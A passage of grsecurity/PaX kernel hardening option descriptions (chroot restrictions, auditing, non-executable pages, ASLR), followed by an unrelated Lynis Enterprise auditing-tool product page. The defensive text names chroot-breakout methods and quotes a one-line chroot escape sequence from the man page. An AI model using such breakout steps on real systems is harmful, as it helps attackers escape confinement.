      * **Deny writing to _/dev/kmem, /dev/mem, and /dev/port_** \- If you say Y here,  _/dev/kmem_ and  _/dev/mem <_ won't be allowed to be written to via `mmap` or otherwise to modify the running kernel.  _/dev/port_ will also not be allowed to be opened. If you have module support disabled, enabling this will close up four ways that are currently used to insert malicious code into the running kernel. Even with all these features enable, we still highly recommend that you use the RBAC system, as it is still possible for an attacker to modify the running kernel through privileged I/O granted by ioperm/iopl. If you are not using XFree86, you may be able to stop this additional case by enabling the "Disable privileged I/O" option. Though nothing legitimately writes to  _/dev/kmem_ , XFree86 does need to write to  _/dev/mem_ but only to video memory, which is the only writing we allow in this case. If  _/dev/kmem_ or  _/dev/mem_ are `mmaped` without PROT\_WRITE, they will not be allowed to `mprotect` it with PROT\_WRITE later. It is highly recommended that you say Y here if you meet all the conditions above.
      * **Disable privileged I/O** \- If you say Y here, all ioperm and iopl calls will return an error. Ioperm and iopl can be used to modify the running kernel. Unfortunately, some programs need this access to operate properly, the most notable of which are XFree86 and `hwclock`. `Hwclock` can be remedied by having RTC support in the kernel, so CONFIG\_RTC is enabled if this option is enabled, to ensure that `hwclock` operated correctly. XFree86 still will not operate correctly with this option enabled, so DO NOT CHOOSE Y IF YOU USE XFree86. If you use XFree86 and you still want to protect the kernel against modification, use the RBAC system.
      * **Deter exploit bruteforcing** \- If you say Y here, attempts to bruteforce exploits against forking daemons such as `Apache` or `sshd` will be deterred. When a child of a forking daemon is killed by PaX or crashed due to an illegal instruction, the parent process will be delayed 30 seconds upon every subsequent fork until the administrator is able to assess the situation and restart the daemon. It is recommended that you also enable signal logging in the auditing section so that logs are generated when a process performs an illegal instruction.
      * **Harden module auto-loading** \- If you say Y here, module auto-loading in response to use of some feature implemented by an unloaded module will be restricted to root users. Enabling this option helps defend against attacks by unprivileged users who abuse the auto-loading behavior to cause a vulnerable module to load that is then exploited.  
  
If this option prevents a legitimate use of auto-loading for a non-root user,
the administrator can execute `modprobe` manually with the exact name of the
module mentioned in the alert log. Alternatively, the administrator can add
the module to the list of modules loaded at boot time by modifying init
scripts.  
  
Modification of init scripts will most likely be needed on Ubuntu servers with
encrypted home directory support enabled, as the first non-root users logging
in will cause the ecb\(aes\), ecb\(aes\)-all, cbc\(aes\), and cbc\(aes\)-all
modules to be loaded.

      * **Hide kernel symbols** \- If you say Y here, getting information on loaded modules, and displaying all kernel symbols through a syscall will be restricted to users with a CAP\_SYS\_MODULE. This option is only effective provided the following conditions are met:
        1. The kernel using grsecurity is not precompiled by some distribution
        2. You are using the RBAC system and hiding other files such as your kernel image and System.map
        3. You have the additional  _/proc_ restrictions enabled, which removes  _/proc/kcore_  
  
If the above conditions are met, this option will aid to provide a useful
protection against local and remote kernel exploitation of overflows and
arbitrary read/write vulnerabilities.

    * **Role Based Access Control Options** \- This menu lets you choose options that affect the RBAC system
      * **Disable RBAC system** \- If you say Y here, the  _/dev/grsec_ device will be removed from the kernel, preventing the RBAC system from being enabled. You should only say Y here if you have no intention of using the RBAC system, so as to prevent an attacker with root access from misusing the RBAC system to hide files and processes when loadable module support and  _/dev/\[k\]mem_ have been locked down.
      * **Hide kernel processes** \- If you say Y here, all kernel threads will be hidden to all processes but those whose subject has the "view hidden processes" flag.
      * **Maximum tries before password lockout** \- This options enforces the maximum number of times a user can attempt to authorize themselves with the grsecurity RBAC system before being denied the ability to attempt authorization again for a specified time. The lower the number, the harder it will be to brute-force a password.
      * **Time to wait after max password tries, in seconds** \- This options specified the time the user must wait after attempting to authorize to the RBAC system with the maximum number of invalid passwords. The higher the number, the harder it will be to brute-force a password.
    * **Filesystem Protections** \- This menu lets you choose options that affect filesystem security
      * **Proc restrictions** \- If you say Y here, the permissions of the  _/proc_ filesystem will be altered to enhance system security and privacy. You MUST choose either a user only restriction or a user and group restriction. Depending upon the option you choose, you can either restrict users to see only the processes they themselves run, or choose a group that can view all processes and files normally restricted to root if you choose the "restrict to user only" option. NOTE: If you're running `identd` as a non-root user, you will have to run it was the group you specify here.
        * **Restrict _/proc_ to user only** \- If you say Y here, non-root users will only be able to view their own processes, and restricts them from viewing network-related information, and viewing kernel symbol and module information.
        * **Allow special group** \- If you say Y here you will be able to select a group that will be able to view all processes, network-related information, and kernel and symbol information. This option is useful if you want to run `identd` as a non-root user.
          * **GID for special group** \- Specifies the group id of the special group
      * **Additional restrictions** \- If you say Y here, additional restrictions will be placed on  _/proc_ that keep normal users from viewing device information and `slabinfo`information that could be useful for exploits.
      * **Linking restrictions** \- If you say Y here,  _/tmp_ race exploits will be prevented, since users will no longer be able to follow symlinks owned by other users in world-writable "+t" directories \(i.e.  _/tmp_\), unless the owner of the symlink is the owner of the directory. User will also not be able to hardlink to files they do not own. If the`sysctl` option is enabled, a `sysctl` option with name "linking\_restrictions" is created.
      * **FIFO restrictions** \- If you say Y here, users will not be able to write to FIFOs they don't own in world-writable "+t" directories \(i.e.  _/tmp_\), unless the owner of the FIFO is the same owner of the directory it's held in. If the `sysctl` options is enabled, a `sysctl` option with the name "fifo\_restrictions" is created.
      * **Runtime read-only mount protection** \- If you say Y here, a sysctl option with name "romount\_protect" will be created. By setting this option to 1 at runtime, filesystems will be protected in the following ways:  
\- No new writable mounts will be allowed  
\- Existing read-only mounts won't be able to be remounted read/write  
\- Write operations will be denied on all block devices  
  
This option acts independently of grsec\_lock: once it is set to 1, it cannot
be turned off. Therefore, please be mindful of the resulting behavior if this
option is enabled in an init script on a read-only filesystem. This feature is
mainly intended for secure embedded systems.

      * **Chroot jail restrictions** \- If you say Y here, you will be able to choose several options that will make breaking out of a chrooted jail much more difficult. If you encounter no software incompatibilities with the following options, it is recommended that you enable each one.
        * **Deny mounts** \- If you say Y here, processes inside a chroot will not be able to mount or remount filesystems. If the `sysctl` option is enabled, a `sysctl` option with name "chroot\_deny\_mount" is created.
        * **Deny double-chroots** \- If you say Y here, processes inside a chroot will not be able to chroot again outside the chroot. This is a widely used method of breaking out of a chroot jail and should not be allowed. If the `sysctl` option is enabled, a `sysctl` option with name "chroot\_deny\_chroot" is created.
        * **Deny` pivot_root` in chroot** \- If you say Y here, processes inside a chroot will not be able to use a function called `pivot_root()` that was introduced in Linux 2.3.41. It works similar to chroot in that it changes the root filesystem. This function could be misused in a chrooted process to attempt to break out of the chroot, and there should not be allowed. If the `sysctl` option is enabled, a `sysctl` option with name "chroot\_deny\_pivot" is created.
        * **Enforce` chdir("/")` on all chroots** \- If you say Y here, the current working directory of all newly-chrooted applications will be set to the root directory of the chroot. The man page on `chroot(2)` states:Note that this call does not change the current working directory, so that '.' can be outside the tree rooted at "/". In particular, the super-user can escape from a "chroot jail" by doing `mkdir foo; chroot foo; cd ..`.It is recommended that you say Y here, since it's not known to break any software. If the `sysctl` option is enabled, a `sysctl` option with name "chroot\_enforce\_chdir" is created.
        * **Deny`(f)chmod +s`** \- If you say Y here, processes inside a chroot will not be able to `chmod` or `fchmod` files to make them have suid or sgid bits. This protects against another published method of breaking a chroot. If the `sysctl` option is enabled, a `sysctl` option with name "chroot\_deny\_chmod" is created.
        * **Deny` fchdir` out of chroot** \- If you say Y here, a well-known method of breaking chroots by `fchdir`'ing to a file descriptor of the chrooting process that points to a directory outside the filesystem will be stopped. If the `sysctl` option is enabled, a `sysctl` option with name "chroot\_deny\_fchdir" is created.
        * **Deny` mknod`** \- If you say Y here, processes inside a chroot will not be allowed to `mknod`. The problem with using `mknod` inside a chroot is that it would allow an attacker to create a device entry that is the same as one on the physical root of your system, which could range from anything from the console device to a device for your harddrive \(which they could then use to wipe the drive or steal data\). It is recommended that you say Y here, unless you run into software incompatibilities. If the `sysctl` option is enabled, a `sysctl` option with name "chroot\_deny\_mknod" is created.
        * **Deny` shmat()` out of chroot** \- If you say Y here, processes inside a chroot will not be able to attach to shared memory segments that were created outside of the chroot jail. It is recommended that you say Y here. If the `sysctl` option is enabled, a `sysctl` option with name "chroot\_deny\_shmat" is created.
        * **Deny access to abstract AF\_UNIX sockets out of chroot** \- If you say Y here, processes inside a chroot will not be able to connect to abstract \(meaning not belonging to a filesystem\) Unix domain sockets that were bound outside of a chroot. It is recommended that you say Y here. If the `sysctl` option is enabled, a`sysctl` option with name "chroot\_deny\_unix" is created.
        * **Protect outside processes** \- If you say Y here, processes inside a chroot will not be able to kill, send signals with `fcntl`, `ptrace`, `capget`, `getpgid`, `getsid`, or view any process outside of the chroot. If the `sysctl` option is enabled, a `sysctl` option with name "chroot\_findtask" is created.
        * **Restrict priority changes** \- If you say Y here, processes inside a chroot will not be able to raise the priority of processes in the chroot, or alter the priority of processes outside the chroot. This provides more security than simply removing CAP\_SYS\_NICE from the process' capability set. If the `sysctl` option is enabled, a `sysctl` option with name "chroot\_restrict\_nice" is created.
        * **Deny` sysctl` writes** \- If you say Y here, an attacker in a chroot will not be able to write `sysctl` entries, either by `sysctl(2)` or through a  _/proc_ interface. It is strongly recommended that you say Y here. If the `sysctl` option is enabled, a `sysctl` option with name "chroot\_deny\_sysctl" is created.
        * **Capability restrictions** \- If you say Y here, the capabilities on all root processes within a chroot jail will be lowered to stop module insertion, raw i/o, system and net admin tasks, rebooting the system, modifying immutable files, modifying IPC owned by another, and changing the system time. This is left an option because it can break some apps. Disable this if your chrooted apps are having problems performing those kinds of tasks. If the `sysctl` option is enabled, a `sysctl` option with name "chroot\_caps" is created.
    * **Kernel auditing** \- This menu lets you choose options that affect the kernel auditing
      * **Single group for auditing** \- If you say Y here, the `exec`, `chdir`, `(un)mount` and ipc logging features will only operate on a group you specify. This options is recommended if you only want to watch certain users instead of having a large amount of logs from the entire system. If the `sysctl` option is enabled, a `sysctl`option with name "audit\_group" is created.
        * **GID for auditing** \- The id of the group being audited
      * **Exec logging** \- If you say Y here, all `execve()` calls will be logged \(since the other `exec*()` calls are frontends to `execve()`, all execution will be logged\). Useful for shell-servers that like to keep track of their users. If the `sysctl` option is enabled, a `sysctl` option with name "exec\_logging" is created. **WARNING:** This option when enabled will produce a LOT of logs, especially on an active system.
      * **Resource logging** \- If you say Y here, all attempts to overstep resource limits will be logged with the resource name, the requested size, and the current limit. It is highly recommended that you say Y here. If the `sysctl` option is enabled, a `sysctl` option with name "resource\_logging" is created. If the RBAC system is enabled the `sysctl` value is ignored.
      * **Log execs within chroot** \- If you say Y here, all executions inside a chroot jail will be logged to `syslog`. This can cause a large amount of logs if certain applications \(eg. djb's daemontools\) are installed on the system, and is therefore left as an option. If the `sysctl` option is enabled, a `sysctl` option with name "chroot\_execlog" is created.
      * **`Chdir` logging** \- If you say Y here, all `chdir()` calls will be logged. If the `sysctl` option is enabled, a `sysctl` option with name "audit\_chdir" is created.
      * **`(Un)mount` logging** \- If you say Y here, all mounts and unmounts will be logged. If the `sysctl` option is enabled, a `sysctl` option with name "audit\_mount" is created.
      * **Signal logging** \- If you say Y here, certain important signals will be logged, such as SIGSEV, which will as a result inform you of when an error in a program occurred, which in some cases could mean a possible exploit attempt. If the `sysctl` option is enabled, a `sysctl` option with name "signal\_logging" is created.
      * **Fork failure logging** \- If you say Y here, all failed `fork()` attempts will be logged. This could suggest a fork bomb, or someone attempting to overstep their process limit. If the `sysctl` option is enabled, a `sysctl` option with name "forkfail\_logging" is created.
      * **Time change logging** \- If you say Y here, any changes of the system clock will be logged. If the `sysctl` option is enabled, a `sysctl` option with name "timechange\_logging" is created.
      * **_/proc/ <pid>/ipaddr_ support** \- If you say Y here, a new entry will be added to each  _/proc/ <pid>_ directory that contains the IP address of the person using the task. The IP is carried across local TCP and AF\_UNIX stream sockets. This information can be useful for IDS/IPSes to perform remote response to a local attack. The entry is readable by only the owner of the process \(and root if he has CAP\_DAC\_OVERRIDE, which can be removed via the RBAC system\), and thus does not create privacy concerns.
      * **ELF text relocations logging \(READ HELP\)** \- If you say Y here, text relocations will be logged with the filename of the offending library or binary. The purpose of the feature is to help Linux distribution developers get rid of libraries and binaries that need text relocations which hinder the future progress of PaX. Only Linux distribution developers should say Y here, and never on a production machine, as this option creates an information leak that could aid an attacker in defeating the randomization of a single memory region. If the `sysctl` option is enabled, a `sysctl` option with name "audit\_textrel" is created.
    * **Executable Protections** \- This menu lets you choose options that affect executable protections
      * **Enforce RLMIT\_NPROC on execs** \- If you say Y here, users with a resource limit on processes will have the value checked during `execve()` calls. The current system only checks the system limit during `fork()` calls. If the `sysctl` option is enabled, a `sysctl` option with name "execve\_limiting" is created.
      * **`Dmesg(8)` restriction** \- If you say Y here, non-root users will not be able to use `dmesg(8)` to view up to the last 4kb of messages in the kernel's log buffer. If the`sysctl` option is enabled, a `sysctl` option with name "dmesg" is created.
      * **Deter` ptrace`-based process snooping** \- If you say Y here, TTY sniffers and other malicious monitoring programs implemented through `ptrace` will be defeated, If you have been using the RBAC system, this option has already been enabled for several years for all users, with the ability to make fine-grained exceptions.  
  
This option only affects the ability of non-root users to `ptrace>` processes
that are not a descendent of the `ptracing` process. This means that `strace`
_./binary_ and`gdb`  _./binary_ will still work, but attaching to arbitrary
processes will not. If the sysctl option is enabled, a sysctl option with name
"harden\_ptrace" is created.

      * **Trusted Path Execution \(TPE\)** \- If you say Y here, you will be able to choose a gid to add to the supplementary groups of users you want to mark as "untrusted". These users will not be able to execute any files that are not in root-owned directories writable only by root. If the `sysctl` option is enabled, a `sysctl` option with name "tpe" is created.
        * **Partially restrict non-root users** \- If you say Y here, all non-root users other than the ones in the group specified in the main TPE option will only be allowed to execute files in directories they own that are not group or world-writable, or in directories owned by root and writable only by root. If the `sysctl` option is enabled, a`sysctl` option with name "tpe\_restrict\_all" is created.
        * **Invert GID options** \- If you say Y here, the group you specify in the TPE configuration will decide what group TPE restrictions will be **disabled** for. This option is useful if you want TPE restrictions to be applied to most users on the system.
        * **GID for trusted/untrusted users** \- If you have selected the "Invert GID option" above, setting this GID determines what group TPE restrictions will be **disabled** for. If you have not selected the "Invert GID option" above, setting this GID determines what group TPE restrictions will be **enabled** for. If the `sysctl` option is enabled, a `sysctl` option with name "tpe\_gid" is created.
    * **Network Protections** \- This menu lets you choose options that affect network protections
      * **Larger entropy pools** \- If you say Y here, the entropy pools used for many features of Linux and grsecurity will be doubled in size. Since several grsecurity features use additional randomness, it is recommended that you say Y here. Saying Y here has a similar effect as modifying  _/proc/sys/kernel/random/poolsize_.
      * **TCP/UDP blackhole** \- If you say Y here, neither TCP nor ICMP destination-unreachable packets will be sent in response to packets sent to ports for which no associated listening process exists. This feature supports both IPv4 and IPv6 and exempts the loopback interface from blackholing. Enabling this feature makes a host more resilient to DoS attacks and reduces network visibility againts scanners.
      * **Socket restrictions** \- If you say Y here, you will be able to choose from several options. If you assign a GID on your system and add it to the supplementary groups of users you want to restrict socket access to, this patch will perform up to three things, based on the option\(s\) you choose.
        * **Deny any sockets to group** \- If you say Y here, you will be able to choose a GID of whose users will be unable to connect to other hosts from your machine or run server applications from your machine. If the `sysctl` option is enabled, a `sysctl` option with name "socket\_all" is created.
          * **GID to deny all sockets for** \- Here you can choose the GID to disable socket access for. Remember to add the users you want socket access disabled for to the GID specified here. If the `sysctl` option is enabled, a `sysctl` option with name "socket\_all\_gid is created.
        * **Deny client sockets to group** \- If you say Y here, you will be able to choose a GID of whose users will be unable to connect to other hosts from your machine, but will be able to run servers. If this option is enabled, all users in the group you specify will have to use passive mode when initiating ftp transfers from the shell on your machine. If the `sysctl` option is enabled, a `sysctl` option with name "socket\_client" is created.
          * **GID to deny client sockets for** \- Here you can choose the GID to disable client socket access for. Remember to add the users you want client socket access disabled for to the GID specified here. If the `sysctl` option is enabled, a `sysctl` option with name "socket\_client\_gid" is created.
        * **Deny server sockets to group** \- If you say Y here, you will be able to choose a GID of whose users will be unable to run server applications from your machine. If the `sysctl` option is enabled, a `sysctl` option with name "socket\_server" is created.
          * **GID to deny server sockets for** \- Here you can choose the GID to disable socket access for. Remember to add the users you want server socket access disabled for to the GID specified here. If the `sysctl` option is enabled, a `sysctl` option with name "socket\_server\_gid" is created.
    * **`Sysctl` support** \- This menu lets you choose whether to enable or disable the `sysctl` support of grsecurity
      * **`Sysctl` support** \- If you say Y here, you will be able to change the options that grsecurity runs with at bootup, without having to recompile your kernel. You can echo values to files in  _/proc/sys/kernel/grsecurity_ to enable \(1\) or disable \(0\) various features. All the `sysctl` entries are mutable until the "grsec\_lock" entry is set to a non-zero value. All features enabled in the kernel configuration are disabled at boot if you do not say Y to the "Turn on features by default" option. All options should be set at startup, and the "grsec\_lock" entry should be set to a non-zero value after all the options are set. **THIS IS EXTREMELY IMPORTANT.**
        * **Turn on features by default** \- If you say Y here, instead of having all features enabled in the kernel configuration disabled at boot time, the features will be enabled at boot time. It is recommended you say Y here unless there is some reason you would want all `sysctl`-tunable features to be disabled by default. As mentioned elsewhere, it is important to enable the "grsec\_lock" entry once you have finished modifying the `sysctl` entries.
    * **Logging Options** \- This menu lets you choose logging options
      * **Seconds in between log messages \(minimum\)** \- This options allows you to enforce the number of seconds between grsecurity log messages, The default should be suitable for most people, however, if you choose to change it, choose a value small enough to allow informative logs to be produced, but large enough to prevent flooding.
      * **Number of messages in a burst \(maximum\)** \- This option allows you to choose the maximum number of messages allowed within the flood time interval you chose in a separate option, The default should be suitable for most people, however if you find that many of your logs are being interpreted as flooding, you may want to raise this value.

## \[edit\]PaX Kernel Configuration Options

  * **Enable various PaX features** \- This allows you to enable various PaX features. PaX adds intrusion prevention mechanism to the kernel that reduce the risks posed by exploitable memory corruption bugs.
    * **PaX Control** \- This menu lets you choose core PaX features
      * **Support soft mode** \- Enabling this option will allow you to run PaX in soft mode, that is, PaX features will not be enforced by default, only on executables marked explicitly. You must also enable PT\_PAX\_FLAGS support as it is the only way to mark executables for soft mode use. Soft mode can be activated by using the "pax\_softmode=1" kernel command line option on boot. Furthermore you can control various PaX features at runtime via the entries in  _/proc/sys/kernel/pax_.
      * **Use legacyELF header marking** \- Enabling this option will allow you to control PaX features on a per executable basis via the "`chpax`" utility available athttp://pax.grsecurity.net/. The control flags will be read from an otherwise reserved part of the ELF header. This marking has numerous drawbacks \(no support for soft-mode, toolchain does not know about the non-standard use of the ELF header\) therefore it has been deprecated in favour of PT\_PAX\_FLAGS.  
  
If you have applications not marked by the PT\_PAX\_FLAGS ELF program header
then you **MUST** enable this option. Othwerwise they will not get any
protection.  
  
Note that if you enable PT\_PAX\_FLAGS marking support as well, the
PT\_PAX\_FLAG marks will override the legacy EI\_PAX marks.

      * **UseELF program header marking** \- Enabling this option will alllow you to control PaX features on a per executable basis via the "`paxctl`" utility available athttp://pax.grsecurity.net/. The control flags will be read from a PaX specific ELF program header \(PT\_PAX\_FLAGS\). This marking has the benefits of supporting both soft mode and being fully integrated into the toolchain \(the binutils patch is available from \[1\]\).  
  
If you have applications not marked by the PT\_PAX\_FLAGS ELF program header
then you MUST enable the EI\_PAX marking support. Othwerwise they will not get
any protection.  
  
Note that if you enable the legacy EI\_PAX marking support as well, the
EI\_PAX marks will overridden by the PT\_PAX\_FLAG marks.

      * **MAC system integration** \- This menu option needs to be documented
        * **none** \- Please update this description.
        * **direct** \- Please update this description.
        * **hook** \- Please update this description.
    * **Non-executable pages** \- This menu lets you choose PaX settings that enforce non-executable memory pages
      * **Enforce non-executable pages** \- By design some architectures do not allow for protecting memory pages against execution or even if they do, Linux does not make use of this feature. In practice this means that if a page is readable \(such as the stack or heap\) it is also executable.  
  
There is a well known exploit technique that makes use of this fact and a
common programming mistake where an attacker can introduce code of his choice
somewhere in the attacked program's memory \(typically the stack or heap\) and
then execute it.  
  
If the attacked program was running with different \(typically higher\)
privileges that of the attacker, then he can elevate his own privilege level
\(e.g. get a root shell, write to files for which he does not have write
access to, etc\).

        * **Paging based non-executable pages** \- This implementation is based on the paging feature of the CPU. On i386 without hardware non-executable bit support there is a variable but usually low performance impact, however on Intel's P4 core based CPUs it is very high so you should not enable this for kernels meant to be used on such CPUs.  
  
On alpha, avr32, ia64, parisc, sparc, sparc64, x86\_64 and i386 with hardware
non-executable bit support there is no performance impact, on ppc the impact
is negligible.  
  
Note that several achitectures requre various emulations due to badly designed
userland ABIs, this will cause a performance impact but will disappear as soon
as userland is fixed \(e.g., ppc users can make use of the secure-plt feature
found in `binutils`\).

      * **Emulate trampolines** \- There are some programs and libraries that for one reason or another attempt to execute special small code snippets from the non-executable pages. Most notably examples are the signal handler return code generated by the kernel itself and the `GCC` trampolines.  
  
If you enabled CONFIG\_PAX\_PAGEEXEC or CONFIG\_PAX\_SEGMEXEC then such
programs will no longer work under your kernel.  
  
As a remedy you can say Y here and use thr `chpax` or `paxctl` utilities to
enable trampoline emulation for the affected programs yet still have the
protection provided by the non-executable pages.  
  
On parisc and ppc you MUST enable this options and EMUSIGRT as well, otherwise
you system will not even boot.  
  
**NOTE** : Enabling this feature  _may_ open up a loophole in the protection
provided by non-executable pages that an attacker could abuse. Therefore the
best solutions is to not have any files on your system that would require this
option. This can be achieved by not using libc5 \(which relies on the kernel
signal handler return code\) and not using or rewriting programs that make use
of the nested function implementation of `GCC`. Skilled users can just fix
`GCC` itself so that it implements nested function calls in a way that does
not interfere with PaX.

      * **Restrict` mprotect()`** \- Enabling this option will prevent programs from  
\- changing the executable status of memory pages that were not originally
created as executable,  
\- making read-only executable pages writable again,  
\- creating executable pages from anonymous memory.  
  
You should say Y here to complete the protection provided by the enforcement
of non-executable pages.  
  
**NOTE** : You can use the `chpax` or `paxctl` utilities to control this
feature on a per file basis.

        * **DisallowELF text relocations** \- Non-executable pages and `mprotect()` restrictions are effective in preventing the introduction of new executable code into an attacked task's address space. There remain only two venues for this kind of attack: If the attacker can execute already existing code in the attacked task then he can either have it create and `mmap()` a file containing his code or have it `mmap()` an already existing ELF library that does not have position independent code in it and use `mprotect()` on it to make it writable and copy his code there. While protecting against the former approach is beyond PaX, the latter can be prevented by having only PIC ELF libraries on one's system \(which do not need to relocate their code\). If you are sure this is your case, then enable this option otherwise be careful as you may not even be able to boot or log on to your system \(for example, some PAM modules are errorneously compiled as non-PIC by default\).  
  
**NOTE** : If you are using dynamic ELF executables \(as suggested when using
ASLR\) the you must have made sure that you linked your files using the PIC
version of `crt1` \(the et\_dyn.tar.gz package reference there has already
been updated to support this\).

      * **Enforce non-executable kernel pages** \- This is the kernel land equivalent of PAGEEXEC and MPROTECT, that is, enabling this option will make it harder to inject and execute "foreign" code in kernel memory itself.
    * **Address Space Layout Randomization** \- This menu lets you choose featurs that affect the ASLR
      * **Address Space Layout Randomization** \- Many if not most exploit techniques rely on the knowledge of certain addresses in the attacked program. The following options will allow the kernel to apply a certain amount of randomization to specific parts of the program thereby forcing an attacker to guess them in most cases. Any failed guess will most likely crash the attacked program which allow the kernel to detect such attempts and react on them. PaX itself provides no reaction mechanism, instead it is strongly encouraged that you make use of Nergal's `segvguard` \(ftp://ftp.pl.openwall.com/misc/segvguard/\) or grsecurity's \(http://grsecurity.net/\) built-int crash-detection features or develop one yourself.  
  
By saying Y here you can choose to randomize the following areas:  
\- top of the task's kernel stack  
\- top if the task's userland stack  
\- base address for `mmap()` requests that do not specify one \(this includes
all libraries\)  
\- base address of the main executable  
  
It is strongly recommended to say Y here as address space layout randomization
has negligible impact on performance yet it provides a very effective
protection.  
  
**NOTE** : You can use the `chpax` or `paxctl` utilities to control this
feature on a per file basis.

        * **Randomize user stack base** \- By saying Y here the kernel will randomize every task's userland stack. The randomization is done in two steps where the second one may apply a big amount of shift to the top of the stack and cause problems for programs that want to use lots of memory \(more than 2.5 GB if SEGMEXEC is not active, or 1.25 GB when it is\). For this reason the second step can be controlled by `chapx` or `paxctl` on a per file basis.
        * **Randomize` mmap()` base** \- By saying Y here the kernel will use a randomized base address for `mmap()` requests that do not specify one themselves. As a result all dynamically loaded libraries will appear at random addresses and therefore be harder to exploit by a technique where an attacker attempts to execute library code for his purposes \(e.g. spawn a shell from an exploited program that is running at an elevated privilege level\).  
  
Furthermore, if a program is relinked as a dynamic ELF file, its base address
will be randomized as well, completing the fill randomization of the address
space layout. Attacking such programs becomes a guess game. You can find an
example of doing this at http://pax.grsecurity.net/et\_dyn.tar.gz and
practical samples at http://grsecurity.net/grsec-gcc-specs.tar.gz.  
  
**NOTE** : You can use the `chpax` or `paxctl` utilities to control this
feature on a per file basis.

    * **Miscellaneous hardening features** \- This menu lets you choose miscellaneous hardening features of PaX
      * **Sanitize all freed memory** \- By saying Y here the kernel will erase memory pages as soon as they are freed. This is turn reduces the lifetime of data stored in the pages, making it less likely that sensitive information such as passwords, cryptographic secrets, etc. stay in memory for too long.  
  
This is especially useful for programs whose runtime is short, long lived
processes and the kernel itself benefit from this as long as they operate on
whole memory pages and ensure time freeing of pages that may hold sensitive
information.  
  
The tradeoff is performance impact, on a single CPU system kernel compilation
sees a 3 % slowdown, other systems and workloads may vary and you are advised
to test this feature on your expected workload before deploying it.  
  
Note that this feature does not protect data stored in live pages, e.g.,
process memory swapped to disk may there for a long time.

      * **Prevent various kernel object reference counter overflows** \- By saying Y here the kernel will detect and prevent overflowing various \(but not all\) kinds of object reference counters. Such overflows can normally occur due to bugs only and are often, if not always, exploitable.  
  
The tradeoff is that data structures protected by and overflowed refcount will
never be freed and therefore will leak memory. Note that this leak also
happends even without this protection but in that case the overflow can
eventually trigger the freeing of the data structure while it is still being
used elsewhere, resulting in the exploitable situation that this feature
prevents.  
  
Since this has a negligible performance impact, you should enable this
feature.

      * **Bounds check heap object copies between kernel and userland** \- By saying Y here the kernel will enforce the size of heap objects when they are copied in either direction between the kernel and userland, even if only a part of the heap object is copied.  
  
Specifically, this checking prevents information leaking from the kernel heap
during kernel to userland copies \(if the kernel heap object is otherwise
fully initialized\) and prevents kernel heap overflows during userland to
kernel copies.  
  
Note that the current implementation provides the strictest checks for the
SLUB allocator.

# Lynis Enterprise - Security auditing tools for Unix/Linux systems

**Created:**| _4/22/2014 6:32:14 PM_  
---|---  
**Updated:**| _4/22/2014 6:32:14 PM_  
**Author:**| __  
**Tags:**| _security tools Linux auditing_  
  

# Lynis Enterprise Suite

## Lynis

Open source software provides **trust** by having people look into the code.
Adjustments are easily made, providing you with a flexible solution for your
business. But can you trust systems and software with _your data_? Lynis
provides you this confidence and helps with auditing your systems. So you can
verify yourself and trust\!

**How it works**  
Lynis is a security auditing tool. Its main goal is to audit and harden Unix
and Linux based systems. It scans the system by performing many security
control checks. Examples include searching for installed software and
determine possible configuration flaws. Many tests are part of common security
guidelines and standards, with on top additional security tests. After the
scan a report will be displayed with all discovered findings. To provide you
with initial guidance, a link is shared to the related Lynis control.

Example output:  

<img src='img/Temp2_4975.png' alt='Example output of a Linux security scan
with Lynis' />

Lynis itself is mainly focused on individuals and small companies. The primary
goal is to perform a quick scan on your systems and determine room for
improvement. Our Lynis Enterprise Suite is also using Lynis as a core
component, however with much more functionality on top. Lynis Enterprise
focuses on companies serious about their information security policy. Main
audience is system administrators, security professionals and auditors working
for these kind of companies.

## Lynis Enterprise

> <img src='img/Temp2_4974.png' alt='Example output of Lynis Enterprise' />
> Lynis Enterprise begins, where Lynis stops. The Enterprise Suite also
> includes central management, reporting, action plans and security
> measurements.
> ## Components
> ### Central management
> No more custom scripting or deploying systems without hardening going
> undetected.
> ### Reporting / Implementation Plan
> The reporting capabilities are powerful. For example including an overview
> of the quick wins, or the group of systems with the highest risk rating.
> This makes it easy for you to determine your priorities. Just check the most
> important areas first and save a lot of time and efforts\!
> ### Lynis Plugins
> The software functionality can be extended with the help of plugins.
> Examples:
>   * Malware detection
>   * Forensics
>   * Heuristics
>   * System statistics
>   * Software
>

> ### Integration
> Centralized data can be exported and linked to existing systems. The bigger
> plans also include the use of an API, to easily export data.
> **Integration possibilities** :
>   * SIEM solutions \(event/incident logging\)
>   * Configuration management and automation tools
>   * CMDB or other ITIL based tooling
>

> ### Lynis Collector
> The Enterprise solution includes Lynis Collector, a piece of software to
> handle central collection of data from all systems. Even if your systems do
> not have direct access to a WAN or internet link, the Collector can act as a
> proxy.
> ### Support
> Get implementation advice, guidance on hardening and see feature requests.
> ### Lynis
> Last, but not least, the _proven_ auditing client Lynis. One of the core
> components in our solution and already used by thousands of companies and
> users. You don't want unstable software in your environment and we
> understand that\!
> Lynis remains _open source_ and _freely_ available. This way we give back to
> the community and people can audit their systems for free. At the same time
> everyone can audit our software. We are confident about our product
> offering. Join us\!
> Discover Pricing  
> \(Good can be affordable\!\)
> Find weaknesses in your defenses has become easy with Lynis Enterprise
> Suite. Do you know yours?
> Our Lynis tour below will provide you with more benefits.
## Features

If you want to audit your environment, have a look at the features of the full
suite.

One solution for:

**Configuration management**  
Perform in-depth technical audits to check if systems are really compliant.

**System hardening**  
Tired of reading long benchmarks? Just run a security scan with Lynis and know
your weaknesses. These findings are great input for your system hardening
steps.

**Technical auditing**  
With focus on Linux and Unix based systems, the Lynis suite includes a
powerful security auditing tool. Check how well your patch management strategy
is executed. Also determine if your systems are really configured like you had
intended during installation time.

**Security incident detection and monitoring**  
With the right configuration and plugins, Lynis perform a really deep
investigation. Almost like a forensics team\! Traces of malware and malformed
files can be detected.

**New functionality**  
But we don't stop there. New functionality is continuously being added. Stay
tuned\!

**Enterprise ready**  
Users of the Lynis Enterprise version will have additional tools and guidance.
This includes additional explanations, scripts and examples on solving
findings. For some of the plans this also includes additional code snippets.
This way you can make optimal use of your existing configuration management
solutions \(e.g. Cfengine, Puppet\).

* * *
**Compliance++**

Lynis does more than simple baseline or compliance checking. Configuring a
specific setting is simply not enough. That's why our software will also audit
proper functioning of software. Don't just trust on compliance checks alone\!

Examples of audit tests:

  * Available authentication methods
  * Expired SSL certificates
  * Outdated or vulnerable software packages
  * Time configuration and proper functioning of NTP daemon
  * User accounts without password
  * Incorrect file permissions
  * Configuration errors
  * Firewall rules

**Low requirements**

We all know those software "solutions" with high requirements. Starting with a
specific database engine, reporting software, a lot of storage and enough CPU
cores... To make things worse, licenses for every single component. Not for
Lynis\!
